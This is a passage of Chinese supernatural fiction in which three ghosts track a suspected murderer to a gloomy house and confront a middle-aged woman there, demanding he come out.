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她一门心思搞清心中疑惑,将这提醒当作是指路,更快地朝着黑气浓郁的地方走。
周健康不停回头,才一会儿就看不见陈献午的背影了,他伸手拉住江越人,“另一个姐姐走了。”
江越人像是恍然惊醒一般,发直的目光重新汇聚,“嗯?”
她朝身后一看,果然半个鬼影都没有,“她去哪了?”
“不知道,好像看见了什么人,突然就跑走了。”周健康摇摇头,手指向相反的方向。
“没关系,先去里面看看,我会保护你。”江越人思索一会儿,还是想先解决疑惑。
他们顺着羊肠小道一直走,中间拐过几次,终于在死气最重的小楼前停下。
整栋房子就像罩在灰色蒙层里,一片死寂,屋前地里杂草丛生,江越人断定:“就是这儿。”
“可不可以不进去,会有坏人。”周健康支支吾吾道。
“没事,我有武器。”
“可是……”周健康仍不放心,他小腿肚都在颤抖,却又不知如何阻止,只一个劲儿地拽着江越人的手往后拉。
江越人无奈只好蹲下先安慰他,“我向你保证,不会有事的,我练过武术,而且你见过这根棍子打人有多厉害,对不对?”
“你可以去找早上那个叔叔来。”周健康不回答,反而提出搬救兵。
“没用的,他听不见我们说话。”
周健康想不出其他理由,干脆扑到她身上,紧紧抱住她的脖子。
江越人僵着脖子不知所措,她两只手都占着,没办法拉开周健康。
半晌,她妥协道:“好吧,不进去,我们去找陈献午。”
听她这样说,周健康才松开手,还乖巧地扶了她一下。二人正想原路返回,隔壁门朝西的房子里突然窜出一个高大的黑坨子,紧接着又跑出来一个。
江越人定睛一看:“陈献午?”
“快拦住他。”陈献午火急火燎喊道。
江越人手比脑子反应快,第一时间抬起胳膊,用哭丧棒阻拦那人去路。
黑影形如鬼魅,唰地在哭丧棒前化烟分散,又迅速在后面凝成实体,钻进房子里。
江越人才反应过来,这不是昨晚那个把元宝当豆子洒的野猴人吗?
陈献午追着他绕了那么大一圈没追到,一时气愤不已,撸起袖子气势汹汹往屋里闯。“我怀疑这家伙就是杀人犯,就知道昨晚那个不是他的房子,不然怎么跑了。”
江越人赶紧跟上她,周健康这下也不阻拦了,甚至比她跑得还快。
刚一进去就被门口杵着的陈献午挡住去路,他们往左边移开,同陈献午一样怔在原地。
里面压根没有野猴人,而是早上的中年妇人。
妇人眼睛在多出来的三只鬼身上依次停留几秒,“你们找谁?”
陈献午忽然想不起来杀人犯的名字,撇头使劲运转大脑。
“红太狼。”周健康小声道。
“要你说。”陈献午白他一样,一甩哭丧棒直指妇人,“找洪泰狼,让他滚出来。”